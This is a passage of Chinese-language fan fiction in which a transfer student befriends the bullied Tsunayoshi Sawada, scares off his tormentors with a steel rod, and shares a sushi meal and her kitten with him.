你看看不远处的云雀小豆丁,又看看面前的棕发小豆丁,你眨了眨眼,“那我们现在可以进去了?” “嗯!”棕发小男孩慢慢带着你往医务室走,看到熟悉的标志后,他停了下来,“就是这里了。” 敲了敲门,没有回应,沢田纲吉小心翼翼推开门,“老师不在。” 你直接闯了进去,来到水池前,你挽起衣袖。因为没有及时处理,伤口和布料稍微黏合了些,察觉到阻力的你下意识用力,血液又从伤口处渗了出来。 你简单看了眼,隔了段时间,原本的擦伤已经变成了一大片可怖的青紫,而现在,渗出的血液又为恐怖的伤口增添了吓人的光环。 “噫!怎么更严重了!”被吓到的棕发小男孩急急忙忙拿着干净的绷带和碘伏跑到你身边。, 你打开水龙头,冰冷的水流洗尽伤口上沾染的尘土,这期间,痛觉免疫的你眉头都没皱一下,抬手接过棕发小男孩手里的碘伏,你扭头看向医务室,目光落在不远处的双氧水上,你记得这个效果似乎更好。 “诶?等下!”沢田纲吉震惊看你把双氧水倒在伤口,他胆战心惊地凑近,看你动作粗暴,沢田纲吉的眉毛都皱成了一团,手指下意识捂住眼睛,透过缝隙,沢田纲吉恍惚能感受到伤口在灼烧的痛。 “我、我来吧。”见你粗暴又随意地开始包扎,沢田纲吉终于看不下去了。 见你没有反对的意思,沢田纲吉小心翼翼把你随意缠绕的绷带重新拆开,看着更加吓人的伤口,他忍不住轻声抱怨起你的随意。 很奇怪,沢田纲吉自认不是喜欢热心帮助别人的人,自从入学开始经历校园暴力,他的性格也变得一天比一天沉默,但是真的很奇怪,靠近你身边,小小的沢田纲吉罕见地感受到了久违的安心,就好像小时候蜷缩在妈妈怀里,沢田纲吉喜欢这种感觉。 动作小心又认真地帮你缠上绷带,一圈一圈的白色慢慢将可怖的伤口埋葬在里面,沢田纲吉忍不住抬眼看你,你的脸上并没有和他想象中一样露出疼痛难忍的表情。但是沢田纲吉想,你一定是很疼的。 怎么会不疼呢,沢田纲吉受过伤,他知道双氧水倾倒在伤口处的疼痛,那种恍若灼伤到灵魂的痛楚,总会让他忍不住哭出声,后来沢田纲吉就学会了用更加温和的碘伏。 只不过偶尔,在难过的下雨天,他会忍不住用双氧水为自己疗伤,那种痛苦的灼伤感,好似能带走他在雨季彷徨不安的灵魂。 “好了。”沢田纲吉努力想打一个规整漂亮的蝴蝶结,但最终呈现结果有些不尽人意。沢田纲吉苦恼地看着歪歪扭扭得快看不出形状的蝴蝶结,他失落地垂下眼睛。 又失败了啊。他总是这样,做不好每一件事情。 “谢谢你。” 忽然,脑袋一重,沢田纲吉惊讶抬起头,你熟练地揉着他的脑袋,嘴角还带着一抹浅淡的笑意,“蝴蝶结很好看。” 咻得,你掌心下的棕发小男孩眼睛一亮,下垂的狗狗眼弯了起来,他立马大声回应你:“不客气!” “还没问你叫什么名字呢。” 肉眼可见的,你看到原本还有些欢快的小兔子瞬间不安起来,你疑惑歪头:“是不喜欢有人问你名字吗?” “啊,不不是的。”沢田纲吉连忙摆手,犹豫了会,最终,沢田纲吉鼓起勇气抬眼看你:“沢田纲吉,我叫沢田纲吉。” 就算现在不说,之后你也会知道他是谁。 沢田纲吉,废柴纲,一个不被任何人喜欢的废柴。 但是,起码现在,由他亲口说出自己的名字,应该也算是和你成为朋友了吧。当然,是他单方面自封的。也许之后你也会和他们一样,沢田纲吉的睫毛不安地颤动,可现在的感情是真实的。 他不应该为了不确定的未来就这样自顾自对你下定义。 “我是今春也。”你看着自己被小心包扎的伤口,轻轻摩挲着绷带,你放下衣袖,语气轻快,“今天认识你很高兴哦,沢田同学。” 好像,很少听到这么正常的称呼了。 沢田纲吉抬起头,他小心翼翼又生涩地露出一个羞涩的笑容,“我也很高兴,今春也同学。” 这好像还是沢田纲吉第一次在你面前笑,很可爱,像把自己所有弱点都暴露在你眼皮下的弱小兔子,自顾自向你奉上他自己全部的天真和信任。 这家伙,总感觉好欺负到过分啊。 既然提前遇到了你的同班同学,你极其自然地让沢田纲吉为你带路。慢悠悠走在他后边,你顺便打量着异世校园环境,时不时,你还能遇上几个巡逻的飞机头, 除开飞机头,异世的学校也没什么特别的,没一会你便对这里失去了兴趣,还不如眼前的新同学有趣。你转而将目光重新投到沢田纲吉身上。 越是靠近班级,沢田纲吉似乎越是畏缩不安,他好像很不情愿去教室。你眨了下眼,很快又收回目光。 “就是这里了。” 沢田纲吉声音很小,如果不是你离得近,估计都听不清他在说什么。他大约做了很久的心里措施,手指很用力地攥紧书包带,你都可以看到他指关节泛起不安的苍白。 敛下眸中的若有所思,你听到了不远处的脚步声,有人正朝你们靠近。 “沢!田!纲!吉!你又迟到了!”带着怒气的声音刺得沢田纲吉一个激灵,他脸上再次露出熟悉的慌张表情。 从你遇到他开始,沢田同学好像一直处于不平静的状态。 戴着眼镜的中年男人不悦地盯着畏畏缩缩的废柴纲,他还想再说些什么,转而就看到了在沢田纲吉一旁的你。像是想起什么,老师眼里划过一丝了然:“你就是今天新来的那个转学生?” 你点了点头。余光注意到沢田纲吉舒了口气的模样,你漫不经心移开目光。 真是奇怪的学校。 走进教室,底下不时传来的“废柴纲”让你忍不住挑了下眉,余光瞥向那位中年教师,他也没有严厉制止,只是随意拍了下桌子,似乎对这一切稀疏平常。 在你身后,沢田纲吉低着头快步走向他的桌子,碎发垂落遮住他的眼睛,你无法看清他眼底的情绪,如果不是转学生的稀奇事情转移了他们的注意力,你想,大约他们口中还会说出更可恶的话来。 这是一场、连外来人都看得清清楚楚的、针对沢田纲吉的霸凌。 麻烦了啊。 老师:“今春也同学选个位置坐下吧。” 教室里几乎坐满了人,除了沢田纲吉身边一直都是空的。他坐在最后一排,从他进到教室开始,沢田纲吉再也没有抬过头。 和千种待在一起久了,你也染上了他讨厌麻烦的性格。垂目思考片刻,你也没有多管闲事的想法,只不过……回忆起那个羞涩腼腆的笑容,和他每次都选择鼓起勇气站在你面前的模样,你散漫指向教室一角:“就那吧。” 老师惊诧地看了你一眼,不过也没多说什么,倒是底下又传来了窃窃私语的声音。 “什么啊,居然选择坐在废柴纲旁边。” “啧,没劲。” “转学生戴着帽子,也不知道长什么样。” 你懒得理会这些声音,目光落在桌子后的垃圾桶上,你面色如常地踢开,垃圾桶转了几个圈跑到了门旁边,不大不小的动静吸引了全教室的注视,你自然坐下,视线隔着帽檐对上老师,后者只是不轻不重扫了你一眼。 也不知道骸骸当初和学校说了什么,反正老师们对待你的态度不会太差。甚至,你还可以肆意翘课。 总之,感谢我们伟大的骸骸! 在你走近后,一直低着脑袋的沢田纲吉终于抬起了头,他惊讶又不知所措地盯着你,沢田纲吉没想到你会选择和他坐在一起,他连忙慌慌张张地收起自己乱叠在空桌上的卷子和书本,又用纸巾擦了擦沾有灰尘的椅子,沢田纲吉紧张地站起身让你进去。 思维被情绪控制,沢田纲吉忘记了自己就算不让位你也能从后边的空地进去。 你看了眼情绪隐隐变好的沢田纲吉一眼,然后面色如常地从他位置走过,沢田纲吉呆呆站在原地几秒,直到你淡淡的视线瞥向他,像打了个激灵,沢田纲吉回过神发现大家都在看这边,他连忙慌慌张张地坐下。 伴着老师的上课声,沢田纲吉忍耐了一会还是没有忍住,他装作不经意地往你身边靠了靠,然后小声和你说话:“今春也…同学怎么会想要坐在这里?” “想坐就坐了,还需要理由吗?” 看着你理所当然的表情,沢田纲吉也不知为何心中忽然松了口气,隐秘的喜悦像恼人的蛛网一层一层缠上他脆弱的心脏,沢田纲吉眨了眨大大的眼睛,脸上还未褪去的婴儿肥显得他更加可爱无害,沢田纲吉抿起嘴角,然后缓缓弯了弯。 好奇怪,但是,好开心。 全日语课对你来说稍微有些吃力,但勉强都能听懂。没有课本,这节课你是和沢田纲吉共用一本书。 沢田纲吉的书本干干净净,偶尔有几个地方会记下笔记,空白的内页上还有他本人走神随意涂画的内容,见你看到,沢田纲吉整个人都快熟透了,他磕磕巴巴地解释,但显然,是个笨蛋的沢田同学无法在这么短的时间内编出一条完美的理由拯救自己形象。 于是很快,熟悉丧气表情出现在他脸上。他红着脸坦诚:“那节课我不小心睡过去了。” 其实是不想听课,曾鼓起勇气向老师求助过,但被对方用“为什么大家都要欺负你,你为什么不反思一下自己”劝退了,从那天起,沢田纲吉就发现自己难以再专注地上这位老师的课。 理所当然地,原本就不算好的成绩一退再退。 昨天考试的成绩今天就出来了,拿到卷子的沢田纲吉红着脸试图把它藏起来,个位数的成绩鲜红地映在上面,明明从很早之前开始已经对自己无可救药的成绩免疫,但不知道为什么,看到你投来的目光,沢田纲吉小小的心脏忽然像是被针扎了下。 不痛,但难以忽略。 可是你没有卷子,所以最后沢田纲吉还是和你一起分享了他的试卷,还有他刺眼的成绩。 你没有特别的反应,这让沢田纲吉稍微松了口气。遇到你后,他似乎总是处于奇怪的紧张中,听着老师的声音,不知不觉,习惯性走神的沢田纲吉悄悄抬眼看向你。 你没有摘下帽子,帽檐压得过低,围巾又遮住了你的下半张脸,沢田纲吉只能隐隐从你的动作间看到你偶尔露出来的鼻尖。 马上你就会被他们科普自己废柴纲的身份了,沢田纲吉很清楚大家会以怎样的语气和笑容取笑他,可是他还不知道你会有什么反应。 陷入自己的思绪,沢田纲吉盯你盯得入神,你对视线的感知敏感,再也无法忽略对对方的视线后,你终于抬起头。 恰好此时,下课铃响了。 第58章 新同学的到来让安静的教室瞬间沸腾起来, 老师走后,或好奇或打量的目光纷纷投向你。 “春也同学怎么会坐在这?” 几个男生走到你们面前,他们嘻嘻哈哈地笑着, 为首的男生居高临下望着你身旁的沢田纲吉, 眼里闪烁着纯粹的恶意, “你还不知道吧, 坐在你旁边的可是我们学校的名人呢。” 果然麻烦来了。 大家状似好意地为你科普这位沢田同学的“英勇”事迹,什么运动神经差劲啊, 什么考试总是倒数运动会拖后腿……就好像, 沢田同学会呼吸都是一种错误。 沢田纲吉的拳头越捏越紧,他低着脑袋不说话, 像是对这一切都习以为常,你静静看着他们,小孩子的恶念更加纯粹残忍, 几个人七嘴八舌说个不停,少数沉默的人眼里黑白分明地写满了赞同, 你漫不经心看着这场闹剧,手指曲起, 指骨不耐烦地敲了敲桌面, 清脆的声音不约而同让人再次将注意力投在你身上。 “说够了吗?” 冷淡的嗓音带着漫不经心,你略微抬头,从你身上蔓延的和六道骸相似的气势让小豆丁们不自觉后退几步,手掌按压住沢田纲吉毛茸茸的脑袋起身,你慢吞吞站在笨蛋同桌前面:“我对这些不感兴趣。” 话一出,全场陷入诡异的寂静,沢田纲吉松开了握紧的拳头,全身的触感集中在你放在他头顶的那只手, 但随即,沢田纲吉眼里盛满了担忧,他想要抬头观察你的表情,你的手掌还未离开,沢田纲吉抿了抿嘴任由你动作。 …… “什么啊,新同学这幅模样,该不会是想和废柴纲交朋友吧。”沉寂过后,短暂被你气势下退的男生恼羞成怒:“废柴纲的朋友肯定也是废柴。” 所以说,你真的讨厌麻烦啊。 低级的、恶心的校园霸凌,你面无表情抬眼,针对一人的施霸慢慢增长扭曲他们的心理,渐渐会发展为只要有一人的举动不合他们心理,就开始任性妄为地开展恶行。 不过大约是有风纪委员的存在,这些人并没有上升为更可怖的行为冲突。 如果不能一次性制服他们,你相信,你之后会有无穷无尽的麻烦。 “所以,我不是说了吗,我对这些不感兴趣。” 哐当一声,你漫不经心踹到桌子,所有人都被你吓了一跳。 “你这家伙,是在挑衅吗?”男生冷下脸,自从开始欺负沢田纲吉后,再也没有人敢正面忤逆他了,“看来也要给你一个教训啊,新来的。” “哈哈哈,她在干什么?为一个今天才刚见面的废柴纲出头吗?” “废柴纲心里是不是很开心哈哈哈,啧,运气可真好啊,明明只是一个废柴。” 氛围开始变得焦灼,沢田纲吉后知后觉意识到不对劲,他咽了咽口水,紧张地捏住你的衣角。 已经够了,沢田纲吉想,不管你是因为什么原因出头,但是在这样下去,他们不会放过你的。沢田纲吉不想看到你被欺负,暗自握拳,他再一次鼓起勇气站在你面前。 窗台上,一只黑色小猫目光幽幽盯着教室里的一幕,蓝红异瞳闪烁着晦暗不明的光,三叉戟隐隐浮现在他身后,猫咪骸冷冷盯着那群人,眼神不含丝毫温度。 你抬手阻止了想要开口的沢田纲吉,你抬起头,居高临下看着他们:“啧,真是一群碍眼的垃圾啊。” 拿出口袋里的小钢棍,在骸骸他们教导下熟悉人体弱点的你几下就把这群光长个子不长脑子的蠢货打倒在地,你不知道身后还有骸骸的加持,小钢棍抵在叫嚣得最狠的男生胸口,你狠狠挥动钢棍,凌厉的风擦过男生的脸,原本的恶意凶狠褪去,男生惊恐地看着钢棍插入自己脑袋和耳朵间的空隙。 只差一点点,那根棍子就会戳破他的脑袋。而且,他毫不怀疑,就在刚刚,你真的想要杀死他。隔着帽檐,男生清晰看到了你的眼睛,冷漠平静没有丝毫欺起伏,里面没有一点对人命的敬畏,甚至,隐隐的,他从你身上感到了某种恶意兴奋的战栗。 不止男生,所有人都感受到了这种让人无法升起反抗之心的可怖恶意。 ——会死的,绝对会死的! 第一次直面死亡的霸凌者们发自内心感到了恐惧。 “以后,离我和沢田同学远一点。”按耐下内心诡异的亢奋和不正常,你压了压帽檐,围巾下,你的嘴角扬起冰冷的弧度,“再让我感到心烦的话,就宰了你们。” 沢田纲吉离你最近,他将你所有的反应和动作尽收眼底,看着自己怎么也无法反抗成功的人狼狈倒在地上,原本快要熄灭的棕色眼瞳极缓极缓地燃起一抹亮光,心脏不受控制地砰砰直跳,沢田纲吉呆呆注视着你。 收起小钢棍,你转身离开了这里。猫咪骸盯着你的背影,缓缓的,他看向这群似乎还不懂得教训的人,眼底红色的数字不紧不慢地开始跳动。 Kufufu…他可不允许你的身边存在任何隐患呢。 “哇哦~” 一切归于平静后,鼻子敏锐嗅到奇怪呢气息的云雀恭弥来到了这里,漂亮的凤眼眯起,他看着倒在地上七七八八的人,小小的云雀恭弥从鼻腔哼出一道轻声。 看来有小老鼠溜进他的并盛了啊。 眼神在教室转了一圈,人还没走远,云雀恭弥冷笑,擅闯并盛者,咬杀! 云雀恭弥离开没多久,几个高大的飞机头就齐刷刷走进教室抬走了陷入昏迷的人。 你并不关心后续如何,略感烦躁的你选择了翘课,身后,沢田纲吉迈着小短腿哒哒哒追上了你。 “你跟过来做什么?” “我、我想和你道谢。”沢田纲吉深吸一口气,被你摸过的毛发凌乱翘起,“刚刚的事情,谢谢你。” “我只是看不惯蠢货而已。” 闻言,沢田纲吉只是弯了弯眼睛,“嗯,我知道。” 说完,像是想到什么,沢田纲吉深吸一口气,他悄悄握紧拳头,张了张嘴,沢田纲吉小声开口,嗓音还带着颤意:“我…我可以和今春也同学做朋友吗?” 沢田纲吉从来没有主动争取过什么,但是在刚刚,你站在他前面的那一刻,小小的沢田纲吉心里忽然有了第二个梦想,他想要和你交朋友。 第一个梦想是想要变成机器人保护妈妈。 就算被拒绝也没关系,沢田纲吉只是想要试着勇敢向你迈出一步。 看着紧张得不成样子的沢田纲吉,原本想要直接答应的话语咽入喉间,你慢悠悠拖长音:“想要成为我的朋友,要完成我的一百个愿望才可以呢。” “当然,如果沢田同学不愿意……” “我愿意的!”沢田纲吉连忙开口,“我会努力完成今春也同学的一百个愿望!!” 拼着必死的觉悟,绝对、绝对要和你成为朋友! 第59章 沢田纲吉的反应有些出乎你的意料, 虽然知道他肯定会接受,但看到他表现得比你预期还要坚定的样子,你表情微妙。 “那现在, 我要开始说第一个愿望了。”尾调拉长, 你故意沉默一小段时间, 眼看面前的沢田纲吉紧张到快要窒息过去, 你这才大发慈悲地放过他。 “我要吃竹寿司。” 竹寿司,并盛有名的寿司店铺, 最重要的是, 里面的寿司都不便宜。沢田纲吉对它的认知仅停留在名气上,零花钱都被不良抢劫完, 沢田纲吉几乎没有闲钱踏足这些地方。 今天才刚开始,沢田纲吉的零花钱还好端端呆在他口袋里,深吸一口气,沢田纲吉不想让自己在一开始就让你失望,他重重点了点头。 工作日的人不算多, 走进竹寿司,正打算找个人少的位置坐下, 山本武的父亲看到了你。 “是春也啊。”山本爸爸自然朝你打着招呼, 笑容爽朗,“今天春也还带朋友来了啊。” 没想到你会和竹寿司的老板认识,听到对方的话,沢田纲吉感到隐秘的欢喜。 连陌生人都觉得你们是朋友,只要想到这一点,欢喜就止不住地跃上心头,比他在夏天吃了两个冰淇淋还要快乐。 不过很快,沢田纲吉还是压下了这股欢喜, 他小声道:“还不是朋友。” 才只是第一个愿望。如果迈向你需要一百步,那么现在才算刚开始。这是他第一次靠自己的努力争取他想要的东西,沢田纲吉要名正言顺,堂堂正正。 还不是朋友吗?山本爸爸不着痕迹地看了你们一眼,虽然觉得你们之间的氛围诡异的融洽,但他还是选择尊重小朋友奇奇怪怪的坚持。 “哈哈哈那你可要加油啊。”山本爸爸善意地拍了拍沢田纲吉的肩膀,以他看人的经验,你可不是会轻轻松松接纳人的存在。 不过,看你理所当然使唤沢田纲吉,山本爸爸露出了然于心的笑容。这不已经是一个良好的开端了吗。 “我会努力的!”沢田纲吉站稳身体,他眼睛亮亮的,里面盛满了灿烂的星光。 你才不管这两个家伙在说什么,你只管点着你喜欢的寿司,虽然很大一部分你都没有吃过,但你相当乐意尝试这些卖相不错的寿司。 沢田纲吉在你的吩咐下拉开椅子、擦拭干净桌子、准备好纸巾……忙完了这些零零碎碎的小事,沢田纲吉终于有时间坐下,他没觉得这是你刻意刁难自己,从最初认识你开始,心思敏感的沢田纲吉就隐隐认识到你绝对你是在大家的宠爱下长大的。 理所当然地受人讨好、比老师还要可怕的气势、偶尔的任性和恶趣味……他对你做的这些事情,不过是你以前生活里的习以为常。沢田纲吉慢慢从短暂的认识里对你拼拼凑凑,每认识一点你,沢田纲吉就觉得自己离你又近了一点。 既然决定了要和你成为朋友,沢田纲吉不想让你觉得自己比你过去的朋友差劲。无可控制地和脑海里的假想敌作斗争,沢田纲吉坐在你对面看你认真点餐。他已经开始猜想你的第二个愿望是什么了。 直到山本爸爸一一呈上来你们的寿司,沢田纲吉看着满桌的食物,他的大脑终于从幻想中冷静下来。 完蛋了,沢田纲吉捂住脸,他的零花钱完全不够啊!眼睛透过颤抖的指缝看你享受地食用美食,隐隐的崩溃藏在漂亮的棕色眼瞳里。 他的第一次行动该不会要以失败告终吧?!这种事情绝对不要啊!!! 就在沢田纲吉思考自己是不是需要留下打工还债时,山本爸爸走了过来,“春也,外面那只是不是你的猫?” 话语间虽然夹杂着疑问,但山本爸爸很肯定,那就是你的猫。尽管那天他没有看到猫的全貌,但猫的眼睛实在太独特了。记忆力本就超群的山本爸爸自然对它留下了深刻的恶印象。 刚吞下一整只寿司,你鼓着腮帮咀嚼,听到山本爸爸的话,你抬头看向他所指的方向。隔着玻璃门,金瞳小黑猫正努力伸爪扒拉门,见没有动静,还没长肉的脸蛋贴着玻璃门,锐利的金瞳在看见你的一刹那瞬间变软,和子想要靠近你。 “本来想把它带进来,没想到这小家伙警惕得很,根本不让近身。”说到这里,山本爸爸也是无奈,不过眼里多了几分思考。 虽然是只猫,但意外得很有潜力啊,摸着下巴,山本爸爸若有所思。 并盛以后说不定会热闹起来呢。阿武那小子估计会拥有新的体验。 “沢田同学。”你嚼着寿司慢吞吞叫了声沢田纲吉的名字,后者呆呆看了你一秒,又很快反应过来,他连忙站起身去开门,你朝着傻楞在门口不进来的和子招了招手,和子立马竖起耳朵,茸茸的耳尖抖了抖,忘性大的小猫早就把自己其实是偷跑出来这件事忘得一干二净,眼见主人在撒娇,和子立马三蹦两跳像投篮一样哐地一下蹦入你怀里。 “咪呜!” 猫历经千辛万苦找到了走丢的主人! 第60章 和子会出现在这里是你没想到的。 不知道什么时候偷摸跟来的小猫黏黏糊糊地在你怀里打着滚, 你眯起眼睛,轻拽起和子的耳朵,你没有被小猫咪的撒娇迷惑住。 “我记得我说过要乖乖待在家里等我回来, 某只小猫咪貌似没有做到呢。” 和子身体一僵, 后脖颈让你扼住, 和子睁大无辜的猫眼, 它咪呜咪呜小声朝你叫唤着,水润润的大眼睛里满是乖巧。 你静静盯了和子很久, 直到和子不自在地开始舔爪子, 你这才放它下来。 “这次就算了。”你把怀里的小猫揉的七倒八歪,“和子一个人出门可是很危险的, 外面有很多猫贩子,就喜欢抓和子这样乖乖巧巧的漂亮小猫,” 小猫的安全意识还是要有,你认真告诉和子外面的世界很危险,那可不是一只弱小的小猫咪可以踏足的。沢田纲吉坐回位置时听到的就是你一本正经恐吓小猫咪的画面, 棕色的大眼睛倒映着你耐心教导和子的模样,沢田纲吉忽然感到了奇妙的安心。 长长的睫毛扑闪落下一片阴影, 沢田纲吉认真又专注地看着你, 和子最先注意到这股视线,它扭头,发现眼前是个陌生的面孔后,和子歪了歪脑袋,小猫咪企图思考沢田纲吉的身份。 “今春也同学的猫是叫和子吗?很好听的名字。”见你放过小猫咪,沢田纲吉缓缓出声,嘴角抿起羞涩的弧度,他友善地朝和子笑了笑, “没想到今春也同学还养了猫。” 发现你看过来,沢田纲吉总觉得自己刚刚那段话有歧义,他连忙摆手解释:“啊,我不是说今春也同学是不会养猫的人。就是今春也同学看上去很冷淡……等等,我也不是指责今春也同学的意思……” 越解释越黑,到最后,沢田纲吉已经不知道他到底在说些什么了,放弃般塌肩,沢田纲吉低着脑袋试图把自己埋起来,啊啊啊他好像又搞砸了,你会不会觉得他的话给你造成了困扰……一直没有听到你的声音,沢田纲吉从未觉得时间过得如此缓慢,他失落又难过。 明明已经是一个良好的开端了,果然,像他这样的人,还是…… “春也。” “什么?” “我是说,叫我春也就好了。” 沢田纲吉的眼里还残留着低落的负面情绪,听到你的话,宛若不可置信般,他缓缓睁大了眼睛,一瞬间,所有的敏感思绪全都消失,沢田纲吉的脑子完全被春也两个字填满。 像只小心翼翼探出触角的蜗牛,他迟钝又缓慢地跟着你重复:“春也?” “嗯。” 今春也同学听起来也太奇怪了,你认识的人里没一个这么叫你,更何况,你发现自己并不讨厌沢田纲吉。一个称呼罢了,你并不在意。 像是从你的反应里得到鼓励,沢田纲吉怀着某种不知名的情绪,他再次叫了一遍你的名字,以亲近的态度:“春也。” 咬着寿司,你点头表示回应。 “春也!” “干嘛。” “春也!!” 对方一声比一声欢快地叫着你的名字,你慢吞吞咽下寿司,抬头看向情绪忽然恢复正常的沢田纲吉,对方的狗狗眼里闪着亮晶晶的光芒,莫名的,你幻视了一只疯狂朝你摇尾巴的小狗崽。 你叉起一块大大的福袋寿司,趁着沢田纲吉又想张口叫你的瞬间,你把有和子拳头那么的寿司塞入了沢田纲吉的嘴里,后者一下安静。 “纲吉。”慢悠悠看着沢田纲吉鼓起腮帮艰难咀嚼超大的福袋寿司,你缓缓念出他的名字。因着不熟悉语言,你的咬字总是显得格外轻、慢,听在沢田纲吉的耳内,却是你异常专注地对待他的名字。 “我可以这样叫你吗?” “纲吉小朋友。” 又轻又慢的吐字清晰印入他的脑海,在你口中,自己平平无奇的名字竟显得格外动听,沢田纲吉第一次觉得他的名字很好听。 原来,被叫名字也可以是这么幸福的一件事吗? “当然可以!”沢田纲吉几乎是在你叫出名字的一瞬间就答应下来,动作快得生怕你会反悔。 “纲吉。”你也开始鹦鹉学舌般一声一声叫着他的名字,一开始还很自在快乐的沢田纲吉瞬间因为你的举动面红耳赤起来。 纲吉两个普通平常的名字在你舌尖慢条斯理地打着转,在你慢吞吞吐出后仿佛附上了一层沢田纲吉看不见的魔力,他的心跳不受控制的加快,沢田纲吉后知后觉感受到了羞涩,忍不住用手掌捂住脸,纤细瘦弱的手指害羞般微微蜷缩着,沢田纲吉想要出声打断你,心底的一角却又诉说着自己的不舍之意。 喜欢…… 好喜欢……自己的名字这样被人说出口,没有恶意,没有取笑,没有恶作剧,他的名字仅仅只是作为一个单纯的代号而存在,没有被赋予奇奇怪怪的他不喜欢的含义。 眼看沢田纲吉的脑袋上都要冒烟了,你这才意犹未尽地结束。 “春也刚刚对着和子说了那么多,它能听懂吗?”热意缓慢从脸上退去,想起你刚刚对小猫咪的教育,沢田纲吉好奇道。 “当然,和子可不是一般的小猫。”你的语气有一种说不出的得意,“和子超——级聪明!” 恍若知道你在夸它,小小的和子骄傲挺起毛茸茸的胸膛,沢田纲吉发现自己竟然从和子的脸上看出了得意和蔑视一切的嚣张。 天知道他是怎么从一张毛茸茸的碳黑猫脸蛋看出那么多表情的,都可以作为数学的扇形统计图了! 沢田纲吉忍不住揉了揉眼睛,再次看过去,和子和它主人的表情如出一辙——同样的得意。 居然真的不是错觉啊!! 沢田纲吉有无数话想说又不知道说什么,视线落在你苍白瘦削的下巴上后,他又诡异觉得这些都不重要了。 反正和子是你养的猫,无论它是什么样的,沢田纲吉都能接受。 温馨的场合持续到结账那一刻, 沢田纲吉瞳孔地震地听到店员说出口的数字,他宁愿自己听不懂母语。 “你说多少?” “诚惠一共十三万四千日元。”店员多解释了一句,“里面有几道寿司用到了价格昂贵的材料,金枪鱼的品质也是上乘。” 沢田纲吉可怜兮兮数着自己的零用钱,就算是从他出生开始算起,沢田纲吉也没有得到过这么多的零用钱啊!!怎么办怎么办怎么办,难道他要带着你吃霸王餐吗?! 看了眼店员手臂上结实肌肉和高大的身躯,沢田纲吉又对比了下自己仿佛三天没吃饭的小身板,他觉得不可以。果然,眼前只剩下打工还债这条路可以走了吗? 深吸一口气,沢田纲吉颤颤巍巍地举起手:“如果我说,我们没有带这么多的钱……” 高大结实的店员露出了核善的微笑:“你们是想吃霸王餐吗?” “噫——!!绝对不是!!”沢田纲吉紧张地咽了咽口水,他连忙摆手慌慌张张地解释,“我是说,也许我可以留下来打……” “结账。”忽然,旁边传来一阵天籁之音,沢田纲吉在心里流泪宽面条,正想看看是谁拯救自己于水生火热之中,沢田纲吉抬头就看到了一只苍白纤细的手,顺着手臂的方向看去,是你。 “春也!”沢田纲吉感动兮兮地看着你。 “很可惜,纲吉的第一步,没有成功呢。” “轰”,如同晴天霹雳,沢田纲吉捏紧可怜巴巴的钱包,惨白着一张脸不说话。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 快到中午, 来竹寿司的人渐渐变多,你抱起和子往外走,发现沢田纲吉没有跟上来, 你在原地停留几步等人:“纲吉不走吗?” 沢田纲吉这才像是回神一般跟上你, 寥寥无几的零花钱被他小心翼翼地攥在掌心, 棕发垂耳兔时不时看你几眼, 嘴巴几次张张合合又闭上。 沢田纲吉在脑子里努力组织措辞,小跑着追上你, 鼓起勇气, 沢田纲吉做了一个决定,他要把自己未来所有零花钱的支配权都交给你! “这样的话, 能不能算实现了你的第一个愿望?” 沢田纲吉的这个举动有些出乎你的意料,你承认逗弄这只胆怯易害羞的兔子很有意思,不过也不能逗得过狠了。 “可以哦。”你抬手接过沢田纲吉的零花钱,“不过不需要那么久,纲吉只需要上供自己一个月的零花钱给我就行。” “诶?” “因为, 我确实吃到了竹寿司呢。” 一开始,你也没有明确提出这顿饭需要沢田纲吉请客。 抬手揉了揉沢田纲吉异常柔软地棕发, 你收起他的零花钱, 留下一枚五元硬币抛起,在它即将接触地面前,你伸手拽住了那枚硬币,“纲吉今天的表现,五分。” 你将这枚五元硬币塞入他胸前的口袋,“第一个愿望完成,达成结缘条件。” 扮演着落魄神明的角色,你略微抬了抬帽檐, 灰蓝色的眼眸倒映着沢田纲吉怔愣的模样,你轻缓道:“纲吉要收下这枚硬币和我结缘吗?” 沢田纲吉知道一些离奇怪异的都市传说,妖怪也好神明也好,那些存在于人类幻想中的生物在他小小的脑袋里留下了浅浅的印迹——结缘之后,若无意外,两个人将会成为永永远远的朋友,不会分开。 永永远远啊…… 怀着美好的期待,沢田纲吉重重点了点头,他珍重地碰上口袋里那枚五元硬币,尽管前一分钟它普普通通地待在自己的口袋,但现在,这已经不是一枚普通的硬币了,它是被赋予了特别意义的独属于他的结缘硬币。 “我要和春也做一辈子的好朋友!”小小的沢田纲吉绷着一张小脸,认真又坚定地宣誓。 直到晚上躺在床上,沢田纲吉的心脏都像被浸润过阳光的蜜糖塞满一样又甜又暖。硬币在妈妈的帮助下用一根红绳串起,沢田纲吉拿出挂在脖子上的小圆硬币,温凉的月光透过窗户洒在硬币上,沢田纲吉认真看了硬币好久,直到虫鸣声开始消退,他这才小心翼翼塞回这枚珍贵的硬币。 第一次,他开始期待起明天的学校。 逃课一时爽,作业火葬场。昨夜睡得太晚,今早差点起不来的沢田纲吉叼着面包疯狂往学校跑,路过昨天与你相撞的那个路口时,他下意识放慢脚步,没有发现你的踪影后,略过心头淡淡的失落,沢田纲吉继续提速。 紧赶慢赶,总算踩在最后一秒跨入学校的大门。 一路上,沢田纲吉一直在脑海模拟和你打招呼的场景,他该先挥手还是先叫你名字,或许两个一起?抓了抓头发,在教室门口踌躇,深吸一口气,沢田纲吉推开了门。 看清来人,原本叽叽喳喳吵闹不已的教室瞬间安静,几十个人如同骤然止住叫声的鸭子,齐刷刷看向沢田纲吉,沢田纲吉被他们的目光吓得后退了一大步,捏紧书包带,就在他以为他们又要开始取笑自己后,所有人僵硬着身体默契低头。 迟疑片刻,沢田纲吉小心翼翼踏出一步,不明白大家为什么会有这么奇怪的反应,不过沢田纲吉也不在意,视线自然扫向他的位置,他在那里发现了你的身影。 看到你,沢田纲吉忽然放松,笑意无可抑制地溜出眼睛,沢田纲吉快步走向他的位置。 “春也。” 沢田纲吉相当珍重地叫了声你的名字,你趴在桌子上,听到沢田纲吉的声音,你象征性地抬高帽檐看他。 “早上好。” “早上好,纲吉。” 第62章 “噗通!” 巨大的动静惊醒了你, 你一下坐直身子,茫然低头,沢田纲吉正捂着脑袋坐在地上, 嘴角笑容还未消散就被痛楚代替。 “需要帮助吗?” 瞥见沢田纲吉亮起的狗狗眼, 话未落地前, 你已经朝他伸了手。 温凉的掌心传来干燥的热度, 你还没用力,沢田纲吉就借着你的手快速站了起来。你看他还呆愣愣傻站在原地不说话, 不由晃了晃你们还牵在一起的手。 “不松开吗?” “噫!” 沢田纲吉这才像是反应过来, 他条件反射松开手,出了汗的掌心湿漉漉的, 明亮的光线下,他看到你的掌心亮晶晶的,是他的汗水。 